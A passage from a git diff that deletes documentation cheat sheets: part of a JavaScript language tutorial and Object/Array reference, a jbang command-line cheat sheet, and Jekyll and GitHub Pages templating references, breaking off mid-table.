-// Bitwise operations also work; when you perform a bitwise operation your float
-// is converted to a signed int *up to* 32 bits.
-1 << 2; // = 4
-
-// Precedence is enforced with parentheses.
-(1 + 3) * 2; // = 8
-
-// There are three special not-a-real-number values:
-Infinity; // result of e.g. 1/0
--Infinity; // result of e.g. -1/0
-NaN; // result of e.g. 0/0, stands for 'Not a Number'
-
-// There's also a boolean type.
-true;
-false;
-
-// Strings are created with ' or ".
-'abc';
-"Hello, world";
-
-// Negation uses the ! symbol
-!true; // = false
-!false; // = true
-
-// Equality is ===
-1 === 1; // = true
-2 === 1; // = false
-
-// Inequality is !==
-1 !== 1; // = false
-2 !== 1; // = true
-
-// More comparisons
-1 < 10; // = true
-1 > 10; // = false
-2 <= 2; // = true
-2 >= 2; // = true
-
-// Strings are concatenated with +
-"Hello " + "world!"; // = "Hello world!"
-
-// ... which works with more than just strings
-"1, 2, " + 3; // = "1, 2, 3"
-"Hello " + ["world", "!"]; // = "Hello world,!"
-
-// and are compared with < and >
-"a" < "b"; // = true
-
-// Type coercion is performed for comparisons with double equals...
-"5" == 5; // = true
-null == undefined; // = true
-
-// ...unless you use ===
-"5" === 5; // = false
-null === undefined; // = false
-
-// ...which can result in some weird behaviour...
-13 + !0; // 14
-"13" + !0; // '13true'
-
-// You can access characters in a string with `charAt`
-"This is a string".charAt(0);  // = 'T'
-
-// ...or use `substring` to get larger pieces.
-"Hello world".substring(0, 5); // = "Hello"
-
-// `length` is a property, so don't use ().
-"Hello".length; // = 5
-
-// There's also `null` and `undefined`.
-null;      // used to indicate a deliberate non-value
-undefined; // used to indicate a value is not currently present (although
-           // `undefined` is actually a value itself)
-
-// false, null, undefined, NaN, 0 and "" are falsy; everything else is truthy.
-// Note that 0 is falsy and "0" is truthy, even though 0 == "0".
-
-///////////////////////////////////
-// 2. Variables, Arrays and Objects
-
-// Variables are declared with the `var` keyword. JavaScript is dynamically
-// typed, so you don't need to specify type. Assignment uses a single `=`
-// character.
-var someVar = 5;
-
-// If you leave the var keyword off, you won't get an error...
-someOtherVar = 10;
-
-// ...but your variable will be created in the global scope, not in the scope
-// you defined it in.
-
-// Variables declared without being assigned to are set to undefined.
-var someThirdVar; // = undefined
-
-// If you want to declare a couple of variables, then you could use a comma
-// separator
-var someFourthVar = 2, someFifthVar = 4;
-
-// There's shorthand for performing math operations on variables:
-someVar += 5; // equivalent to someVar = someVar + 5; someVar is 10 now
-someVar *= 10; // now someVar is 100
-
-// and an even-shorter-hand for adding or subtracting 1
-someVar++; // now someVar is 101
-someVar--; // back to 100
-
-// Arrays are ordered lists of values, of any type.
-var myArray = ["Hello", 45, true];
-
-// Their members can be accessed using the square-brackets subscript syntax.
-// Array indices start at zero.
-myArray[1]; // = 45
-
-// Arrays are mutable and of variable length.
-myArray.push("World");
-myArray.length; // = 4
-
-// Add/Modify at specific index
-myArray[3] = "Hello";
-
-// Add and remove element from front or back end of an array
-myArray.unshift(3); // Add as the first element
-someVar = myArray.shift(); // Remove first element and return it
-myArray.push(3); // Add as the last element
-someVar = myArray.pop(); // Remove last element and return it
-
-// Join all elements of an array with semicolon
-var myArray0 = [32,false,"js",12,56,90];
-myArray0.join(";") // = "32;false;js;12;56;90"
-
-// Get subarray of elements from index 1 (include) to 4 (exclude)
-myArray0.slice(1,4); // = [false,"js",12]
-
-// Remove 4 elements starting from index 2, and insert there strings
-// "hi","wr" and "ld"; return removed subarray
-myArray0.splice(2,4,"hi","wr","ld"); // = ["js",12,56,90]
-// myArray0 === [32,false,"hi","wr","ld"]
-
-// JavaScript's objects are equivalent to "dictionaries" or "maps" in other
-// languages: an unordered collection of key-value pairs.
-var myObj = {key1: "Hello", key2: "World"};
-
-// Keys are strings, but quotes aren't required if they're a valid
-// JavaScript identifier. Values can be any type.
-var myObj = {myKey: "myValue", "my other key": 4};
-
-// Object attributes can also be accessed using the subscript syntax,
-myObj["my other key"]; // = 4
-
-// ... or using the dot syntax, provided the key is a valid identifier.
-myObj.myKey; // = "myValue"
-
-// Objects are mutable; values can be changed and new keys added.
-myObj.myThirdKey = true;
-
-// If you try to access a value that's not yet set, you'll get undefined.
-myObj.myFourthKey; // = undefined
-
-///////////////////////////////////
-// 3. Logic and Control Structures
-
-// The `if` structure works as you'd expect.
-var count = 1;
-if (count == 3){
-    // evaluated if count is 3
-} else if (count == 4){
-    // evaluated if count is 4
-} else {
-    // evaluated if it's not either 3 or 4
-}
-
-// As does `while`.
-while (true){
-    // An infinite loop!
-}
-
-// Do-while loops are like while loops, except they always run at least once.
-var input;
-do {
-    input = getInput();
-} while (!isValid(input));
-
-// The `for` loop is the same as C and Java:
-// initialization; continue condition; iteration.
-for (var i = 0; i < 5; i++){
-    // will run 5 times
-}
-
-// Breaking out of labeled loops is similar to Java
-outer:
-for (var i = 0; i < 10; i++) {
-    for (var j = 0; j < 10; j++) {
-        if (i == 5 && j ==5) {
-            break outer;
-            // breaks out of outer loop instead of only the inner one
-        }
-    }
-}
-
-// The for/in statement allows iteration over properties of an object.
-var description = "";
-var person = {fname:"Paul", lname:"Ken", age:18};
-for (var x in person){
-    description += person[x] + " ";
-} // description = 'Paul Ken 18 '
-
-// The for/of statement allows iteration over iterable objects (including the built-in String,
-// Array, e.g. the Array-like arguments or NodeList objects, TypedArray, Map and Set,
-// and user-defined iterables).
-var myPets = "";
-var pets = ["cat", "dog", "hamster", "hedgehog"];
-for (var pet of pets){
-    myPets += pet + " ";
-} // myPets = 'cat dog hamster hedgehog '
-
-// && is logical and, || is logical or
-if (house.size == "big" && house.colour == "blue"){
-    house.contains = "bear";
-}
-if (colour == "red" || colour == "blue"){
-    // colour is either red or blue
-}
-
-// && and || "short circuit", which is useful for setting default values.
-var name = otherName || "default";
-
-// The `switch` statement checks for equality with `===`.
-// Use 'break' after each case
-// or the cases after the correct one will be executed too.
-grade = 'B';
-switch (grade) {
-  case 'A':
-    console.log("Great job");
-    break;
-  case 'B':
-    console.log("OK job");
-    break;
-  case 'C':
-    console.log("You can do better");
-    break;
-  default:
-    console.log("Oy vey");
-    break;
-}
-
-///////////////////////////////////
-// 4. Functions, Scope and Closures
-
-// JavaScript functions are declared with the `function` keyword.
-function myFunction(thing){
-    return thing.toUpperCase();
-}
-myFunction("foo"); // = "FOO"
-
-// Note that the value to be returned must start on the same line as the
-// `return` keyword, otherwise you'll always return `undefined` due to
-// automatic semicolon insertion. Watch out for this when using Allman style.
-function myFunction(){
-    return // <- semicolon automatically inserted here
-    {thisIsAn: 'object literal'};
-}
-myFunction(); // = undefined
-
-// JavaScript functions are first class objects, so they can be reassigned to
-// different variable names and passed to other functions as arguments - for
-// example, when supplying an event handler:
-function myFunction(){
-    // this code will be called in 5 seconds' time
-}
-setTimeout(myFunction, 5000);
-// Note: setTimeout isn't part of the JS language, but is provided by browsers
-// and Node.js.
-
-// Another function provided by browsers is setInterval
-function myFunction(){
-    // this code will be called every 5 seconds
-}
-setInterval(myFunction, 5000);
-
-// Function objects don't even have to be declared with a name - you can write
-// an anonymous function definition directly into the arguments of another.
-setTimeout(function(){
-    // this code will be called in 5 seconds' time
-}, 5000);
-
-// JavaScript has function scope; functions get their own scope but other blocks
-// do not.
-if (true){
-    var i = 5;
-}
-i; // = 5 - not undefined as you'd expect in a block-scoped language
-
-// This has led to a common pattern of "immediately-executing anonymous
-// functions", which prevent temporary variables from leaking into the global
-// scope.
-(function(){
-    var temporary = 5;
-    // We can access the global scope by assigning to the "global object", which
-    // in a web browser is always `window`. The global object may have a
-    // different name in non-browser environments such as Node.js.
-    window.permanent = 10;
-})();
-temporary; // raises ReferenceError
-permanent; // = 10
-
-// One of JavaScript's most powerful features is closures. If a function is
-// defined inside another function, the inner function has access to all the
-// outer function's variables, even after the outer function exits.
-function sayHelloInFiveSeconds(name){
-    var prompt = "Hello, " + name + "!";
-    // Inner functions are put in the local scope by default, as if they were
-    // declared with `var`.
-    function inner(){
-        alert(prompt);
-    }
-    setTimeout(inner, 5000);
-    // setTimeout is asynchronous, so the sayHelloInFiveSeconds function will
-    // exit immediately, and setTimeout will call inner afterwards. However,
-    // because inner is "closed over" sayHelloInFiveSeconds, inner still has
-    // access to the `prompt` variable when it is finally called.
-}
-sayHelloInFiveSeconds("Adam"); // will open a popup with "Hello, Adam!" in 5s
-
-///////////////////////////////////
-// 5. More about Objects; Constructors and Prototypes
-
-// Objects can contain functions.
-var myObj = {
-    myFunc: function(){
-        return "Hello world!";
-    }
-};
-myObj.myFunc(); // = "Hello world!"
-
-// When functions attached to an object are called, they can access the object
-// they're attached to using the `this` keyword.
-myObj = {
-    myString: "Hello world!",
-    myFunc: function(){
-        return this.myString;
-    }
-};
-myObj.myFunc(); // = "Hello world!"
-
-// What this is set to has to do with how the function is called, not where
-// it's defined. So, our function doesn't work if it isn't called in the
-// context of the object.
-var myFunc = myObj.myFunc;
-myFunc(); // = undefined
-
-// Inversely, a function can be assigned to the object and gain access to it
-// through `this`, even if it wasn't attached when it was defined.
-var myOtherFunc = function(){
-    return this.myString.toUpperCase();
-};
-myObj.myOtherFunc = myOtherFunc;
-myObj.myOtherFunc(); // = "HELLO WORLD!"
-
-// We can also specify a context for a function to execute in when we invoke it
-// using `call` or `apply`.
-
-var anotherFunc = function(s){
-    return this.myString + s;
-};
-anotherFunc.call(myObj, " And Hello Moon!"); // = "Hello World! And Hello Moon!"
-
-// The `apply` function is nearly identical, but takes an array for an argument
-// list.
-
-anotherFunc.apply(myObj, [" And Hello Sun!"]); // = "Hello World! And Hello Sun!"
-
-// This is useful when working with a function that accepts a sequence of
-// arguments and you want to pass an array.
-
-Math.min(42, 6, 27); // = 6
-Math.min([42, 6, 27]); // = NaN (uh-oh!)
-Math.min.apply(Math, [42, 6, 27]); // = 6
-
-// But, `call` and `apply` are only temporary. When we want it to stick, we can
-// use `bind`.
-
-var boundFunc = anotherFunc.bind(myObj);
-boundFunc(" And Hello Saturn!"); // = "Hello World! And Hello Saturn!"
-
-// `bind` can also be used to partially apply (curry) a function.
-
-var product = function(a, b){ return a * b; };
-var doubler = product.bind(this, 2);
-doubler(8); // = 16
-
-// When you call a function with the `new` keyword, a new object is created, and
-// made available to the function via the `this` keyword. Functions designed to be
-// called like that are called constructors.
-
-var MyConstructor = function(){
-    this.myNumber = 5;
-};
-myNewObj = new MyConstructor(); // = {myNumber: 5}
-myNewObj.myNumber; // = 5
-
-// Unlike most other popular object-oriented languages, JavaScript has no
-// concept of 'instances' created from 'class' blueprints; instead, JavaScript
-// combines instantiation and inheritance into a single concept: a 'prototype'.
-
-// Every JavaScript object has a 'prototype'. When you go to access a property
-// on an object that doesn't exist on the actual object, the interpreter will
-// look at its prototype.
-
-// Some JS implementations let you access an object's prototype on the magic
-// property `__proto__`. While this is useful for explaining prototypes it's not
-// part of the standard; we'll get to standard ways of using prototypes later.
-var myObj = {
-    myString: "Hello world!"
-};
-var myPrototype = {
-    meaningOfLife: 42,
-    myFunc: function(){
-        return this.myString.toLowerCase();
-    }
-};
-
-myObj.__proto__ = myPrototype;
-myObj.meaningOfLife; // = 42
-
-// This works for functions, too.
-myObj.myFunc(); // = "hello world!"
-
-// Of course, if your property isn't on your prototype, the prototype's
-// prototype is searched, and so on.
-myPrototype.__proto__ = {
-    myBoolean: true
-};
-myObj.myBoolean; // = true
-
-// There's no copying involved here; each object stores a reference to its
-// prototype. This means we can alter the prototype and our changes will be
-// reflected everywhere.
-myPrototype.meaningOfLife = 43;
-myObj.meaningOfLife; // = 43
-
-// The for/in statement allows iteration over properties of an object,
-// walking up the prototype chain until it sees a null prototype.
-for (var x in myObj){
-    console.log(myObj[x]);
-}
-///prints:
-// Hello world!
-// 43
-// [Function: myFunc]
-// true
-
-// To only consider properties attached to the object itself
-// and not its prototypes, use the `hasOwnProperty()` check.
-for (var x in myObj){
-    if (myObj.hasOwnProperty(x)){
-        console.log(myObj[x]);
-    }
-}
-///prints:
-// Hello world!
-
-// We mentioned that `__proto__` was non-standard, and there's no standard way to
-// change the prototype of an existing object. However, there are two ways to
-// create a new object with a given prototype.
-
-// The first is Object.create, which is a recent addition to JS, and therefore
-// not available in all implementations yet.
-var myObj = Object.create(myPrototype);
-myObj.meaningOfLife; // = 43
-
-// The second way, which works anywhere, has to do with constructors.
-// Constructors have a property called prototype. This is *not* the prototype of
-// the constructor function itself; instead, it's the prototype that new objects
-// are given when they're created with that constructor and the new keyword.
-MyConstructor.prototype = {
-    myNumber: 5,
-    getMyNumber: function(){
-        return this.myNumber;
-    }
-};
-var myNewObj2 = new MyConstructor();
-myNewObj2.getMyNumber(); // = 5
-myNewObj2.myNumber = 6;
-myNewObj2.getMyNumber(); // = 6
-
-// Built-in types like strings and numbers also have constructors that create
-// equivalent wrapper objects.
-var myNumber = 12;
-var myNumberObj = new Number(12);
-myNumber == myNumberObj; // = true
-
-// Except, they aren't exactly equivalent.
-typeof myNumber; // = 'number'
-typeof myNumberObj; // = 'object'
-myNumber === myNumberObj; // = false
-if (0){
-    // This code won't execute, because 0 is falsy.
-}
-if (new Number(0)){
-   // This code will execute, because wrapped numbers are objects, and objects
-   // are always truthy.
-}
-
-// However, the wrapper objects and the regular builtins share a prototype, so
-// you can actually add functionality to a string, for instance.
-String.prototype.firstCharacter = function(){
-    return this.charAt(0);
-};
-"abc".firstCharacter(); // = "a"
-
-// This fact is often used in "polyfilling", which is implementing newer
-// features of JavaScript in an older subset of JavaScript, so that they can be
-// used in older environments such as outdated browsers.
-
-// For instance, we mentioned that Object.create isn't yet available in all
-// implementations, but we can still use it with this polyfill:
-if (Object.create === undefined){ // don't overwrite it if it exists
-    Object.create = function(proto){
-        // make a temporary constructor with the right prototype
-        var Constructor = function(){};
-        Constructor.prototype = proto;
-        // then use it to create a new, appropriately-prototyped object
-        return new Constructor();
-    };
-}
-
-/* *******************************************************************************************
- * GLOBAL OBJECTS > OBJECT
- * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object
- * ******************************************************************************************* */
-
-// Global object: properties
-Object.length                                        // length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. This number does not include the rest parameter. Has a value of 1.
-Object.prototype                                     // Represents the Object prototype object and allows to add new properties and methods to all objects of type Object.
-
-// Methods of the Object constructor
-Object.assign(target, ...sources)                    // Copies the values of all enumerable own properties from one or more source objects to a target object. method is used to copy the values of all enumerable own properties from one or more source objects to a target object. It will return the target object
-Object.create(MyObject)                              // Creates a new object with the specified prototype object and properties. The object which should be the prototype of the newly-created object.
-Object.defineProperty(obj, prop, descriptor)         // Adds the named property described by a given descriptor to an object.
-Object.defineProperties(obj, props)                  // Adds the named properties described by the given descriptors to an object.
-Object.entries(obj)                                  // Returns an array containing all of the [key, value] pairs of a given object's own enumerable string properties.
-Object.freeze(obj)                                   // Freezes an object: other code can't delete or change any properties.
-Object.getOwnPropertyDescriptor(obj, prop)           // Returns a property descriptor for a named property on an object.
-Object.getOwnPropertyDescriptors(obj)                // Returns an object containing all own property descriptors for an object.
-Object.getOwnPropertyNames(obj)                      // Returns an array containing the names of all of the given object's own enumerable and non-enumerable properties.
-Object.getOwnPropertySymbols(obj)                    // Returns an array of all symbol properties found directly upon a given object.
-Object.getPrototypeOf(obj)                           // Returns the prototype of the specified object.
-Object.is(value1, value2);                           // Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).
-Object.isExtensible(obj)                             // Determines if extending of an object is allowed.
-Object.isFrozen(obj)                                 // Determines if an object was frozen.
-Object.isSealed(obj)                                 // Determines if an object is sealed.
-Object.keys(obj)                                     // Returns an array containing the names of all of the given object's own enumerable string properties.
-Object.preventExtensions(obj)                        // Prevents any extensions of an object.
-Object.seal(obj)                                     // Prevents other code from deleting properties of an object.
-Object.setPrototypeOf(obj, prototype)                // Sets the prototype (i.e., the internal [[Prototype]] property).
-Object.values(obj)                                   // Returns an array containing the values that correspond to all of a given object's own enumerable string properties.
-
-// Object instances and Object prototype object (Object.prototype.property or Object.prototype.method())
-// Properties
-obj.constructor                                      // Specifies the function that creates an object's prototype.
-obj.__proto__                                        // Points to the object which was used as prototype when the object was instantiated.
-
-// Methods
-obj.hasOwnProperty(prop)                             // Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
-prototypeObj.isPrototypeOf(object)                   // Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
-obj.propertyIsEnumerable(prop)                       // Returns a boolean indicating if the internal ECMAScript [[Enumerable]] attribute is set.
-obj.toLocaleString()                                 // Calls toString().
-obj.toString()                                       // Returns a string representation of the object.
-object.valueOf()                                     // Returns the primitive value of the specified object.
-
-/* *******************************************************************************************
- * GLOBAL OBJECTS > ARRAY
- * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array
- * ******************************************************************************************* */
-
-// Global object: properties
-Array.length                                         // Reflects the number of elements in an array.
-Array.prototype                                      // Represents the prototype for the Array constructor and allows to add new properties and methods to all Array objects.
-
-// Global object: methods
-Array.from(arrayLike[, mapFn[, thisArg]])            // Creates a new Array instance from an array-like or iterable object.
-Array.isArray(obj)                                   // Returns true if a variable is an array, if not false.
-Array.of(element0[, element1[, ...[, elementN]]])    // Creates a new Array instance with a variable number of arguments, regardless of number or type of the arguments.
-
-// Instance: properties
-arr.length                                           // Reflects the number of elements in an array.
-
-// Instance: mutator methods
-arr.copyWithin(target, start, end)                   // Copies a sequence of array elements within the array.
-arr.fill(value, start, end)                          // Fills all the elements of an array from a start index to an end index with a static value.
-arr.pop()                                            // Removes the last element from an array and returns that element.
-arr.push([element1[, ...[, elementN]]])              // Adds one or more elements to the end of an array and returns the new length of the array.
-arr.reverse()                                        // Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.
-arr.shift()                                          // Removes the first element from an array and returns that element.
-arr.sort()                                           // Sorts the elements of an array in place and returns the array.
-array.splice(start, deleteCount, item1, item2, ...)  // Adds and/or removes elements from an array.
-arr.unshift([element1[, ...[, elementN]]])           // Adds one or more elements to the front of an array and returns the new length of the array.
-
-// Instance: accessor methods
-arr.concat(value1[, value2[, ...[, valueN]]])        // Returns a new array comprised of this array joined with other array(s) and/or value(s).
-arr.includes(searchElement, fromIndex)               // Determines whether an array contains a certain element, returning true or false as appropriate.
-arr.indexOf(searchElement[, fromIndex])              // Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.
-arr.join(separator)                                  // Joins all elements of an array into a string.
-arr.lastIndexOf(searchElement, fromIndex)            // Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.
-arr.slice(begin, end)                                // Extracts a section of an array and returns a new array.
-arr.toString()                                       // Returns a string representing the array and its elements. Overrides the Object.prototype.toString() method.
-arr.toLocaleString(locales, options)                 // Returns a localized string representing the array and its elements. Overrides the Object.prototype.toLocaleString() method.
-
-// Instance: iteration methods
-arr.entries()                                        // Returns a new Array Iterator object that contains the key/value pairs for each index in the array.
-arr.every(callback[, thisArg])                       // Returns true if every element in this array satisfies the provided testing function.
-arr.filter(callback[, thisArg])                      // Creates a new array with all of the elements of this array for which the provided filtering function returns true.
-arr.find(callback[, thisArg])                        // Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found.
-arr.findIndex(callback[, thisArg])                   // Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.
-arr.forEach(callback[, thisArg])                     // Calls a function for each element in the array.
-arr.keys()                                           // Returns a new Array Iterator that contains the keys for each index in the array.
-arr.map(callback[, initialValue])                    // Creates a new array with the results of calling a provided function on every element in this array.
-arr.reduce(callback[, initialValue])                 // Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.
-arr.reduceRight(callback[, initialValue])            // Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.
-arr.some(callback[, initialValue])                   // Returns true if at least one element in this array satisfies the provided testing function.
-arr.values()                                         // Returns a new Array Iterator object that contains the values for each index in the array.
-
-```
diff --git a/docs/content/cheat-sheets/jbang.md b/docs/content/cheat-sheets/jbang.md
deleted file mode 100644
index 49372d9182..0000000000
--- a/docs/content/cheat-sheets/jbang.md
+++ /dev/null
@@ -1,69 +0,0 @@
-# Create a new command line application using Picocli
-
-jbang init --template=cli CmdLineApp.java
-
-# Edit application with Visual Studio Code
-
-jbang edit --open=code CmdLineApp.java
-
-# Edit application with IDEA and have the project regenerated on dependencies changes
-
-jbang edit --live --open=idea CmdLineApp.java
-
-# Rebuild application in cache without starting it
-
-jbang build CmdLineApp.java
-
-# Run command line application with jbang
-
-jbang CmdLineApp.java command arg1 arg2...
-
-# Run command line as a script
-
-./CmdLineApp.java command arg1 arg2...
-
-# Run a Java code snippet (Java 9 and later)
-
-echo 'Files.list(Paths.get("/etc")).forEach(System.out::println);' | jbang -
-
-# Debug
-
-jbang --debug CmdLineApp.java command arg1
-
-# Then start debugger in IDEA once port is printed
-
-# Run a script from the network
-
-jbang https://github.com/jbangdev/jbang-catalog/blob/master/hello.java
-
-# Run a jbang script referenced in a catalog
-
-# Where hello.java is located in jbang-catalog repository of GitHub jbangdev user
-
-jbang hello@jbangdev
-
-# Run a jar file from its GAV
-
-jbang io.swagger:swagger-codegen-cli:RELEASE --help
-
-# Install JDK 14 to be used with jbang
-
-jbang jdk install 14
-
-# Force usage of JDK 14 in a jbang script
-
-## Add //JAVA 14 to the first lines of the script
-
-## Then start it using jbang
-
-# List jbang installed JDK
-
-jbang jdk list
-
-# Clear jbang cache
-
-jbang cache clear
-
-# Install auto-completion script for Bash
-
-jbang completion | sudo tee /etc/bash_completion.d/jbang
diff --git a/docs/content/cheat-sheets/jekyll-github.md b/docs/content/cheat-sheets/jekyll-github.md
deleted file mode 100644
index 14d2ae0f61..0000000000
--- a/docs/content/cheat-sheets/jekyll-github.md
+++ /dev/null
@@ -1,133 +0,0 @@
----
-title: Jekyll for GitHub pages
-
-category: Jekyll
-tags: [WIP]
----
-
-{% raw %}
-
-## Jekyll
-
-{: .-one-column}
-
--   jekyll-avatar
--   jekyll-coffeescript
--   jekyll-default-layout
--   jekyll-feed
--   jekyll-gist
--   jekyll-github-metadata
--   jekyll-mentions
--   jekyll-optional-front-matter
--   jekyll-paginate
--   jekyll-readme-index
--   jekyll-redirect-from
--   jekyll-relative-links
--   jekyll-sass-converter
--   jekyll-seo-tag
--   jekyll-sitemap
-    {: .-four-column}
-
-As of github-pages v156. For an updated list, see: [Dependency versions](https://pages.github.com/versions/) _(pages.github.com)_
-
-## GitHub Metadata
-
-### Configuration
-
-```yaml
-plugins:
-    - jekyll-github-metadata
-
-repository: username/project
-```
-
-Put this in your `_config.yml`.
-See: [Repository metadata on GitHub pages](https://help.github.com/articles/repository-metadata-on-github-pages/)
-
-### Listing repos
-
-```html
-{% for repository in site.github.public_repositories %}
-<a href="{{ repository.html_url }}"> {{ repository.name }} </a>
-{% endfor %}
-```
-
-### Link to repo
-
-```html
-<a href="{{ site.github.repository_url }}"> {{ site.github.project_title }} </a>
-```
-
-## Gists
-
-### Configuration
-
-```yaml
-plugins:
-    - jekyll-gist
-```
-
-See: [jekyll-gist](https://github.com/jekyll/jekyll-gist)
-
-### Usage
-
-```js
-{% gist parkr/c08ee0f2726fd0e3909d %}
-```
-
-This places a Gist in your page.
-
-## Mentions
-
-### Configuration
-
-```yaml
-plugins:
-    - jekyll-mentions
-```
-
-See: [jekyll-mentions](https://github.com/jekyll/jekyll-mentions)
-
-### Usage
-
-```js
-Hey @rstacruz, what do you think of this?
-```
-
-Just mention anyone in any page. Their names will be turned into links.
-
-## Redirects
-
-### Configuration
-
-```yaml
-plugins:
-    - jekyll-redirect-from
-```
-
-See: [jekyll-redirect-from](https://rubygems.org/gems/jekyll-redirect-from)
-
-### Usage
-
-```yaml
----
-redirect_from:
-    - /foo
----
-```
-
-Place on any page.
-
-### Redirecting
-
-```yaml
----
-redirect_to:
-    - /foo
----
-```
-
-Place on any page.
-See: [redirect to](https://github.com/jekyll/jekyll-redirect-from#redirect-to)
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/jekyll.md b/docs/content/cheat-sheets/jekyll.md
deleted file mode 100644
index 592521cc0b..0000000000
--- a/docs/content/cheat-sheets/jekyll.md
+++ /dev/null
@@ -1,572 +0,0 @@
----
-title: Jekyll
-jekyll_escape: true
-
-prism_languages: [bash, yaml, ruby]
-category: Jekyll
----
-
-{% raw %}
-
-### Installation
-
-```bash
-# Install the gems
-gem install jekyll bundler
-```
-
-```bash
-# Create a new site at `./myblog`
-jekyll new myblog
-cd myblog
-```
-
-```bash
-# Optional: if you're targeting github-pages,
-# use this Gemfile instead.
-cat > Gemfile <<-END
-source 'https://rubygems.org'
-gem 'github-pages', group: :jekyll_plugins
-END
-```
-
-```bash
-bundle exec jekyll serve
-```
-
-See: [Jekyll quickstart](http://jekyllrb.com/docs/quickstart/)<br>
-See: [github/pages-gem](https://github.com/github/pages-gem)
-
-### Directories
-
-```
-./
-├── _config.yml
-│
-├── _data/
-│   └── ...
-│
-├── _drafts/
-│   └── ...
-│
-├── _posts/
-│   └── 2014-01-01-hello.md
-│
-├── _layouts/
-│   ├── default.html
-│   └── post.html
-│
-├── _includes/             - partials
-│   ├── header.html
-│   └── footer.html
-│
-└── _site/
-    └── ...
-```
-
-{: .-box-chars}
-
-## Front-matter
-
-### Basic frontmatter
-
-```
----
-layout: post
-title: Hello
----
-Hello! this is my post.
-```
-
-{: data-line="1,2,3,4"}
-
-Attach metadata to a page by adding them on top of the page, delimited by `---`.
-See: [Front-matter](http://jekyllrb.com/docs/frontmatter/)
-
-### Other frontmatter stuff
-
-```yaml
-permalink: '/hello'
-published: false
-category: apple
-categories: ['html', 'css']
-tags: ['html', 'css']
-```
-
-### Configuration
-
-In `_config.yml`:
-{: .-setup}
-
-```yaml
-source: .
-destination: _site
-exclude:
-    - Gemfile
-    - Gemfile.lock
-include: ['.htaccess']
-```
-
-All config keys are optional.
-See: [Configuration](http://jekyllrb.com/docs/configuration/)
-
-## Markup
-
-### Page variables
-
-```html
-<title>{{ page.title }}</title>
-```
-
-{: data-line="2"}
-
-### Filters
-
-```html
-<p>{{ page.description | truncate_words: 20 }}</p>
-```
-
-{: data-line="2"}
-
-### Loops
-
-```html
-{% for post in site.posts %}
-<a href="{{ post.url }}">
-    <h2>{{ post.title }}</h2>
-    <p>{{ post.date | date_to_string }}</p>
-</a>
-{% endfor %}
-```
-
-{: data-line="1,6"}
-
-### Dates
-
-```html
-{{ page.date | date: "%b %d, %Y" }}
-```
-
-### Conditionals
-
-```html
-{% if page.image.feature %} ... {% elsif xyz %} ... {% else %} ... {% endif %}
-```
-
-{: data-line="1,3,5,7 }
-
-```html
-{% if page.category == 'React' %} {% if page.category == 'React' or page.featured %} {% if page.tags contains 'Featured' %}
-```
-
-### Case
-
-```html
-{% case shipping.title %} {% when 'international' %} Arriving in 2-3 weeks {% when 'Domestic' %} Arriving in 2-3 days {% else %} Thank you for your order! {%
-endcase %}
-```
-
-{: data-line="1,2,4,6,8"}
-
-### Includes (partials)
-
-```html
-{% include header.html %}
-```
-
-{: data-line="1"}
-
-```html
-<!-- Including local vars -->
-{% include header.html page=page %}
-```
-
-{: data-line="2"}
-
-### Comments
-
-```html
-{% comment %} This is a comment! {% endcomment %}
-```
-
-{: data-line="1,3"}
-
-## Variables
-
-### Top-level variables
-
-| `{{ site }}` | Data from `config.yml` |
-| `{{ page }}` | From frontmatter, and page-specific info |
-| `{{ content }}` | HTML content (use in layouts) |
-| `{{ paginator }}` | Paginator |
-
-See: [Variables](http://jekyllrb.com/docs/variables/)
-
-### Site
-
-```html
-{{ site.time }}
-```
-
-{: .-setup}
-
-| `site.time` | Current time |
-| `site.pages` | List of pages |
-| `site.posts` | List of blog posts |
-| `site.related_posts` | List of posts related to current |
-| `site.categories.CATEGORY` | List |
-| `site.tags.TAG` | List |
-| `site.static_files` | List |
-
-### Page
-
-```html
-{{ page.content }} - un-rendered content {{ page.title }} {{ page.excerpt }} - un-rendered excerpt {{ page.url }} {{ page.date }} {{ page.id }} - unique id for
-RSS feeds {{ page.categories }} {{ page.tags }} {{ page.path }} {{ page.dir }} {{ page.excerpt | remove: '
-<p>' | remove: '</p>
-' }} {{ page.excerpt | strip_html }}
-```
-
-```html
-<!-- blog pagination: -->
-{{ page.next }} {{ page.previous }}
-```
-
-## Filters
-
-### Dates
-
-```ruby
-{{ site.time | date: "%Y %m %d" }}
-```
-
-{: .-setup}
-
-| `date_to_xmlschema` | → `2008-11-07T13:07:54-08:00` |
-| `date_to_rfc822` | → `Mon, 07 Nov 2008 13:07:54 -0800` |
-| `date_to_string` | → `07 Nov 2008` |
-| `date_to_long_string` | → `07 November 2008` |
-| `date:` _'%Y %m %d'_ | → `2017 Nov 7` |
-
-### Preprocessors
-
-```ruby
-{{ page.description | markdownify }}
-```
-
-{: .-setup}
-
-| Filter        | Description |
-| ------------- | ----------- |
-| `textilize`   | Textile     |
-| `markdownify` | Markdown    |
-| `jsonify`     | JSON        |
-| `sassify`     | Sass        |
-| `scssify`     | SCSS        |
-| `smartify`    | Smartypants |
-
-### Array filters
-
-```ruby
-{{ site.pages | where: "year", "2014" }}
-```
-
-{: .-setup}
-
-| Filter                                     | Description        |
-| ------------------------------------------ | ------------------ |
-| `where:` _"year", "2014"_                  |                    |
-| `where_exp:` _"item", "item.year >= 2014"_ |                    |
-| ---                                        | ---                |
-| `group_by:` _"genre"_                      | → `{name, items}`  |
-| `group_by_exp:` _"item", "item.genre"_     | → `{name, items}`  |
-| ---                                        | ---                |
-| `sort`                                     |                    |
-| `sort:` _'author'_                         |                    |
-| ---                                        | ---                |
-| `uniq`                                     |                    |
-| ---                                        | ---                |
-| `first`                                    |                    |
-| `last`                                     |                    |
-| `join:` _','_                              |                    |
